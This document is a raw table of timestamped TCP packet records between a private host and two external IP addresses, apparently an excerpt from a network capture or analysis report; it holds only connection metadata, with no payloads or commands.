Dec 20, 2024 13:12:21.295835018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.295835018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.295953035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.413361073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.413414955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.414107084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.414150000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.417495966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.417558908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.417633057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.417685032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.425973892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.426023960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.485673904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.485721111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.486031055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.486078978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.489837885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.489912987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.490061045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.490214109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.498194933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.498254061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.498269081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.498295069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.506730080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.506778002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.506803036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.506820917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.515093088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.515152931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.515259981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.515316963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.523540974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.523613930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.523684978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.523732901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.531948090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.532001019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.532166004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.532217979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.540481091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.540532112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.540616035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.540659904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.548949957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.549894094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.549947977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.557292938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.557621002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.557674885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.565218925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.565841913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.565896034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.572896004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.572999001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.573067904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.677511930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.677649021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.677828074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.679789066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.679935932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.680711031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.680836916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.680888891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.685045004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.685170889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.685223103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.689487934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.689587116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.689636946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.693948030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.694089890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.694231987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.698381901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.698453903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.698499918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.698544979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.702831030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.702884912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.702931881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.702976942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.707154989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.707211971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.707240105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.707329988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.711409092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.711458921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.711560011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.711616039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.715754986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.715806007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.715871096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.715919018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.720025063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.720078945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.720087051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.720132113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.724361897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.724431992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.724488020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.724530935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.728693962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.728743076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.728821993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.728867054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.733030081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.733089924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.733122110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.733166933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.737330914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.737376928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.737420082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.737463951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.741478920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.741529942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.741614103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.741660118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.745744944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.745791912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.746011019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.746062040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.750140905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.750205994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.750278950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.750323057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.754301071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.754348993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.754389048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.754426956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.758568048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.758625031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.758696079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.758744955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.762875080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.762943983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.763062954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.763124943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.767184973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.767288923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.767398119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.767446041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.771467924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.771565914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.771629095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.775830984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.775953054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.813612938 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:21.813704967 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:21.814903021 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:21.814935923 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:21.815176964 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:21.817087889 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:21.817128897 CET	49861	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:21.817174911 CET	443	49861	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:21.869554996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.869617939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.869674921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.869726896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.871329069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.871377945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.871416092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.871469021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.875108004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.875157118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.876455069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.876511097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.876549006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.876597881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.880021095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.880095959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.880142927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.880192041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.882834911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.882884026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.882963896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.883013010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.886135101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.886185884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.886243105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.886291027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.889270067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.889322042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.889456034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.889503002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.892386913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.892461061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.892472982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.892523050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.897922039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.897973061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.897978067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.898029089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.899149895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.899199009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.899245024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.899291992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.901618958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.901667118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.901679993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.901726961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.904496908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.904572964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.904592991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.904647112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.907407999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.907454967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.907682896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.907730103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.910320997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.910368919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.910391092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.910438061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.913289070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.913337946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.913404942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.913453102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.916351080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.916424990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.916470051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.916518927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.919359922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.919408083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.919444084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.919491053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.922168970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.922214985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.922310114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.922355890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.925096035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.925158024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.925316095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.925364971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.928059101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.928075075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.928107023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.928126097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.930999994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.931050062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.931148052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.931195021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.934060097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.934106112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.934192896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.934238911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.936978102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.937026024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.937110901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.937159061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.939901114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.939956903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.939982891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.939995050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.942902088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.942950964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.943099022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.943147898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.945827961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.945878983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.945985079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.946033955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.948879004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.948925972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.948968887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.949018002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.951761961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.951812983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.951874971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.951921940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.954687119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.954737902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.955013037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.955065966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.957607985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.957658052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.957848072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.957897902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.962083101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.962152004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.962198019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.962245941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.963531971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.963579893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.963623047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.963670015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.966504097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.966553926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.966605902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.966653109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.969451904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.969500065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.969595909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.969645023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.972467899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.972536087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.972567081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.972613096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.975388050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.975442886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.975481033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.975528002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.978287935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.978431940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.978493929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.981277943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.981338024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.981370926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.981420994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.984294891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.984344006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.984394073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.984437943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.987220049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.987266064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.987318039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:21.990087986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:21.990164995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.061544895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.061670065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.061733007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.062674999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.062719107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.063220024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.063323021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.063374996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.065500021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.065557003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.065561056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.065603971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.067878008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.067949057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.068031073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.068161964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.070102930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.070192099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.070266008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.070311069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.072561026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.072613955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.072792053 CET	80	49859	31.41.244.11	192.168.2.5
